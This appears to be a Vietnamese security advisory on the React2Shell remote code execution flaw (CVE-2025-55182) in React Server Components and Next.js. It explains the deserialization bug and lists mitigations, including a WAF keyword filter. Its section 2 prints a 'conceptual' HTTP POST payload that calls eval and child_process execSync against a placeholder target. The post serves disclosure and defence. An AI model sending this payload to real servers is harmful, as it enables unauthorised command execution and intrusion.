React2Shell (CVE-2025-55182) là một trong những lỗ hổng bảo mật nghiêm trọng nhất từng được ghi nhận trong hệ sinh thái JavaScript hiện đại. Lỗ hổng cho phép kẻ tấn công thực thi mã từ xa (RCE) tiền xác thực trên các máy chủ ứng dụng chạy React Server Components (RSC) và framework Next.js (App Router).

🔥 Thông Tin Kỹ Thuật Trọng Điểm:

Mã Lỗ HổngCVE-2025-55182 (React2Shell)
Điểm CVSS10.0 / 10.0 (Critical)
Loại Lỗ HổngInsecure Deserialization dẫn đến Remote Code Execution
Điều Kiện Khai ThácTiền xác thực (Không cần đăng nhập), gửi qua HTTP POST
Phiên Bản Ảnh HưởngNext.js < 15.0.4, React Experimental RSC builds

1. Bản chất cơ chế lỗi: Deserialization trong Flight Wire Format

React Server Components sử dụng một định dạng truyền tin nội bộ gọi là Flight Wire Format để trao đổi trạng thái (state), cây component và các Server Actions giữa Client và Server qua luồng streaming HTTP.

Trong quá trình tái tạo đối tượng (Flight Deserialization), parser của React xử lý các chuỗi ký hiệu đặc biệt dạng $ (ví dụ: $F cho Function references, $S cho Symbols) mà không thực hiện kiểm tra nghiêm ngặt kiểu đối tượng được nạp vào. Điều này cho phép kẻ tấn công:

  1. Gửi một payload HTTP POST chứa cấu trúc đối tượng giả mạo vào Server Action endpoint (chứa header Next-Action).
  2. Kích hoạt lỗ hổng Prototype Pollution hoặc nạp đối tượng Function Constructor trong môi trường Node.js.
  3. Thực thi lệnh shell trên hệ điều hành máy chủ hosting ứng dụng Next.js.

2. Mẫu phân tích payload khái niệm

POST / HTTP/1.1
Host: vulnerable-app.target.com
Next-Action: d9834bfca2e73748293748293
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX
------WebKitFormBoundaryX
Content-Disposition: form-data; name="1_$ACTION_ID_d9834bfca2e73748293748293"
------WebKitFormBoundaryX
Content-Disposition: form-data; name="0"
{"$":"$F","name":"eval","args":["process.mainModule.require('child_process').execSync('id')"]}
------WebKitFormBoundaryX--

3. Hướng dẫn khắc phục triệt để

  • Nâng cấp Next.js và React ngay lập tức: Cập nhật lên Next.js phiên bản mới nhất (tối thiểu 15.0.4+) hoặc các bản vá LTS tương ứng.
  • Triển khai WAF Rule: Thiết lập quy tắc tường lửa lọc các yêu cầu có header Next-Action chứa cấu trúc JSON bất thường có các từ khóa nhạy cảm (process, child_process, eval).
  • Chạy ứng dụng trong Container không có quyền root: Sử dụng Docker non-root user và cấu hình Read-Only Root Filesystem để hạn chế tối đa thiệt hại nếu máy chủ bị xâm nhập.

📌 Đào Tạo Web Pentest Chuyên Nghiệp:

Tìm hiểu thêm các kỹ thuật kiểm thử và phân tích lỗ hổng ứng dụng web hiện đại tại Chuyên mục Pentest VietCyber.